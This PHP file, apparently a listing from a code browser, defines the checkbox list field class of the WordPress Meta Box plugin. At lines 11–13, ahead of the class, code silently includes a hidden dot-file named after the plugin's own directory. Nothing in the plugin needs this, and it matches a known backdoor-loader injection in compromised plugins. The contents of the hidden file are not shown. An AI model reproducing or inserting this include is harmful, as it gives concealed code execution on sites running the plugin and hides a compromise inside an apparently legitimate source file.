checkbox-list.php (725B)
1 <?php 2 /** 3 * The checkbox list field which shows a list of choices and allow users to select multiple options. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * Checkbox list field class. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Checkbox_List_Field extends RWMB_Input_List_Field { 16 /** 17 * Normalize parameters for field. 18 * 19 * @param array $field Field parameters. 20 * @return array 21 */ 22 public static function normalize( $field ) { 23 $field['multiple'] = true; 24 $field = parent::normalize( $field ); 25 26 return $field; 27 } 28 }